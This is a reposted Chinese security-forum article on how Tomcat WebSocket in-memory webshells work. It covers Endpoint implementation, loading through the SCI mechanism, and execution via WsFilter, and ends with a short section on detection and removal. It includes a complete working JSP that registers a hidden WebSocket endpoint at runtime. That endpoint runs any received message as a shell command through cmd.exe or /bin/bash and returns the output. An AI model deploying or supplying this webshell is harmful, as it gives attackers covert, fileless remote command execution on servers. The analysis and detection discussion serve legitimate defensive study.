安全矩阵

 找回密码
 立即注册
搜索
查看: 1150|回复: 0

Tomcat WebSocket内存马实现原理

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-9-25 16:47:18 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-9-25 16:49 编辑


Tomcat WebSocket内存马实现原理
费嘉韵 平安集团安全应急响应中心
2022-09-20 17:59 发表于上海
转载自:Tomcat WebSocket内存马实现原理

前不久,网上出现了关于websocket内存马的介绍,经过试用发现效果不错。但是原文(https://github.com/veo/wsMemShell/),
对于原理的介绍一笔带过,看过之后,依然有很多疑问。于是就尝试学习一下WebSocket内存马的实现原理。

主要分析了Tomcat WebSocket内存马的实现原理,关于其他中间件暂未涉及。
WebSocket内存马实现的关键在于服务端端点(Endpoint)的实现、加载,执行,重点关注这三个方面。

>>>> Endpoint的实现
此次实现的WebSocket内存马是基于Java WebSocket规范(JSR356)。Tomcat将WebSocket通信中的服务端抽象为了Endpoint,并提供两种方式来实现Endpoint:
  •         注解方式:@ServeEndpoint
  •         继承抽象类方式:javax.websocket.Endpoint

这两种方式都需要实现相应的生命周期。提供了4个标准的生命周期方法,当产生不同的事件时会被回调触发:
  •         onOpen: 会话建立
  •         onClose: 会话关闭
  •         onError: 会话异常
  •         onMessage: 接收到消息
注解方式
通过注解方式实现Endpoint,需要用@ServerEndpoint注解实现了Endpoint生命周期的类,并用生命周期相关的注解
(@OnOpen、@OnClose、@OnError、@OnMessage)来注解对应的生命周期实现方法。通过注解的参数,为当前Endpoint注册URI路径。
  1. import javax.websocket.*;
  2. import javax.websocket.server.ServerEndpoint;
  3. import java.io.IOException;

  4. @ServerEndpoint("/websockets")
  5. public class WebSocketServer {

  6.     private Session session;

  7.     @OnOpen
  8.     public void onOpen(Session session) {

  9.         this.session = session;
  10.         System.out.println("已连接!Session: " + session.toString());

  11.         try {
  12.             session.getBasicRemote().sendText("a");
  13.         } catch (IOException e) {
  14.             e.printStackTrace();
  15.         }
  16.     }

  17.     @OnMessage
  18.     public void onMessage(Session session, String message) {
  19.         System.out.println("onMessage:" + message);
  20.     }

  21.     @OnClose
  22.     public void onClose(Session session, CloseReason closeReason) {
  23.         System.out.println("CloseReason:" + closeReason.toString());
  24.     }

  25.     @OnError
  26.     public void onError(Throwable throwable) {
  27.         throwable.printStackTrace();
  28.     }
  29. }
复制代码

继承抽象类方式
通过继承抽象类方式实现Endpoint稍微复杂一些,需要实现三个类:
  •         Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象
  •         MessageHandler实现类:实现onMessage方法
  •         ServerApplicationConfig实现类:完成Endpoint的URI路径注册
  1. //Endpoint实现类
  2. import javax.websocket.Endpoint;
  3. import javax.websocket.EndpointConfig;
  4. import javax.websocket.MessageHandler;
  5. import javax.websocket.Session;
  6. import java.io.IOException;

  7. public class WebSocketServer2 extends Endpoint {

  8.     private Session session;

  9.     @Override
  10.     public void onOpen(Session session, EndpointConfig endpointConfig) {
  11.         this.session = session;
  12.         session.addMessageHandler(new MessageHandler.Whole<String>() {    //匿名类实现MessageHandler
  13.             @Override
  14.             public void onMessage(String message) {
  15.                 System.out.println("onMessage: "+message);
  16.             }
  17.         });
  18.         System.out.println("已连接WebsocketServer: " + session.toString());
  19.         try {
  20.             session.getBasicRemote().sendText("a");
  21.         } catch (IOException e) {
  22.             e.printStackTrace();
  23.         }
  24.     }
  25. }

  26. //ServerApplicationConfig实现类
  27. import javax.websocket.Endpoint;
  28. import javax.websocket.server.ServerApplicationConfig;
  29. import javax.websocket.server.ServerEndpointConfig;
  30. import java.util.HashSet;
  31. import java.util.Set;

  32. public class EndpointApplicationConfig implements ServerApplicationConfig {
  33.     @Override
  34.     public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {


  35.         Set<ServerEndpointConfig> result = new HashSet<>();
  36.         if (set.contains(WebSocketServer2.class)) {
  37.             result.add(ServerEndpointConfig.Builder.create(WebSocketServer2.class, "/websockets2").build());
  38.         }
  39.         return result;
  40.     }

  41.     @Override
  42.     public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
  43.         System.out.println(set);
  44.         return set;
  45.     }
  46. }
复制代码

>>>> SCI机制

Tomcat的WebSocket加载是通过SCI机制完成的。
Tomcat在启动时会对classpath下的Jar包进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。
对于Tomcat WebSocket来说,如图是tomcat-websocket.jar的ServletCotainerInitializer文件。

会加载文件中的类:org.apache.tomcat.websocket.server.WsSci,该类是ServletContainerInitializer接口的实现类。
然后该类的@HandleTypes注解的值会指定的一系列类、接口、注解。Tomcat会获取指定类、接口、注解的实现类,并在调用WsSci#onStartup时作为参数传入。


>>>> Endpoint的加载

ServerEndpoint、ServerApplicationConfig、Endpoint的实现类,以参数传入WsSci#onStartup。
ServerApplicationConfig的实现类,实例化后存入serverApplicationConfigs变量。
Endpoint的实现类,存入scannedEndpointClazzes变量。
ServerEndpoint注解的类,存入scannedPojoEndpoints变量。



变量存储情况如下,通过注解方式实现的WebSocketServer类存入了scannedPojoEndpoints,通过继承抽象类方式实现的WebSocketServer2类存入了scannedEndpointClazzes。
另外,scannedEndpointClazzes中还存入了PojoEndpointClient和PojoEndpointServer两个类。

接着会根据serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三个变量的值,来构建两个变量:filteredEndpointConfigs和filteredPojoEndpoints。

filteredEndpointConfigs:如果有ServerApplicationConfig对象,则遍历所有对象并完成如下操作:调用其getEndpointConfigs方法获取ServerEndpointConfig的集合,
加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存储的是通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合。

filteredPojoEndpoints:利用同样的ServerApplicationConfig对象,调用其getAnnotatedEndpointClasses方法获取Class对象的集合,也是被ServerEndpoint注解的类的集合。
因此filteredPojoEndpoints存储的是@ServerEndpoint注解的类的集合。


变量存储情况如下,通过注解方式实现的WebSocketServer类存入了filteredPojoEndpoints,而filteredEndpointConfigs存储的是EndpointApplicationConfig#getEndpointConfigs返回的DefaultServerEndpointConfig。



接着就是根据两个变量向WsServerContainer添加Endpoint,完成Endpoint的部署。

对应了WsServerContainer的两个重载方法:
  • addEndpoint(javax.websocket.server.ServerEndpointConfig):该方法中,会根据传入的ServerEndpointConfig对象进行URI路径注册,其中包含了该对象在创建时指定的Endpoint实现类。
  • addEndpoint(java.lang.Class<?>):该方法中,会获取传入的POJO类的注解,根据注解的参数值创建ServerEndpointConfig对象,然后调用上面的重载方法,进行URI路径注册。

>>>> Endpoint的执行
在WsSci#onStartup中,会进行WsServerContainer的创建和初始化,在创建过程中会通过ServletContext#addFilter调用ApplicationContextFacade#addFilter添加过滤器WsFilter。


之后所有的请求都会经过WsFilter。之后接收到请求之后,如果注册有Endpoint,且请求是WebSocket的协议升级请求,进行规则匹配及升级。
为了匹配规则,会通过WsServerContainer#findMapping获取URI路径对应的WsMappingResult对象,并进行协议升级。


>>>> 内存马实现

根据Endpoint的加载得知要想动态添加一个Endpoint,就需要获取WsServerContainer,并通过addEndpoint向其中添加ServerEndpointConfig。
在WsSci#init中,完成了对WsServerContainer的实例化,并且通过ServletContext#setAttribute对WsServerContainer进行存储。因此就可以通过ServletContext来获取WsServerContainer。

最终WebSocket内存马实现步骤如下:
  •         实现Endpoint,MessageHandler.onMessage中实现木马通讯功能
  •         为Endpoint创建ServerEndpointConfig
  •         依次获取ServletConext和WsServerContainer
  •         通过WsServerContainer.addEndpoint添加ServerEndpointConfig
  1. <%@ page import="javax.websocket.server.ServerEndpointConfig" %>
  2. <%@ page import="javax.websocket.server.ServerContainer" %>
  3. <%@ page import="javax.websocket.*" %>
  4. <%@ page import="java.io.*" %>

  5. <%!
  6.     public static class C extends Endpoint implements MessageHandler.Whole<String> {
  7.         private Session session;
  8.         @Override
  9.         public void onMessage(String s) {
  10.             try {
  11.                 Process process;
  12.                 boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
  13.                 if (bool) {
  14.                     process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
  15.                 } else {
  16.                     process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
  17.                 }
  18.                 InputStream inputStream = process.getInputStream();
  19.                 StringBuilder stringBuilder = new StringBuilder();
  20.                 int i;
  21.                 while ((i = inputStream.read()) != -1)
  22.                     stringBuilder.append((char)i);
  23.                 inputStream.close();
  24.                 process.waitFor();
  25.                 session.getBasicRemote().sendText(stringBuilder.toString());
  26.             } catch (Exception exception) {
  27.                 exception.printStackTrace();
  28.             }
  29.         }
  30.         @Override
  31.         public void onOpen(final Session session, EndpointConfig config) {
  32.             this.session = session;
  33.             session.addMessageHandler(this);
  34.         }
  35.     }
  36. %>
  37. <%
  38.     String path = request.getParameter("path");
  39.     System.out.println(path);
  40.     ServletContext servletContext = request.getSession().getServletContext();
  41.     ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
  42.     ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
  43.     try {
  44.         if (servletContext.getAttribute(path) == null){
  45.             container.addEndpoint(configEndpoint);
  46.             servletContext.setAttribute(path,path);
  47.         }
  48.         out.println("success, connect url path: " + servletContext.getContextPath() + path);
  49.     } catch (Exception e) {
  50.         out.println(e.toString());
  51.     }
  52. %>
复制代码

>>>> 查杀

了解实现原理之后查杀就好实现了,只需要从WsContainer取出所有的ServerEndpointConfig,重点关注其path和endpointClass即可。
然后根据path来移除configTemplateMatchMap中存储的键值对即可。
具体实现在java-memshell-scanner项目中已经有人提交,等待合并之后可以直接使用。


参考来源:
1、websocket内存马项目:https://github.com/veo/wsMemShell
2、java-memshell-scanner项目:https://github.com/c0ny1/java-memshell-scanner





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 11:34 , Processed in 0.015388 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表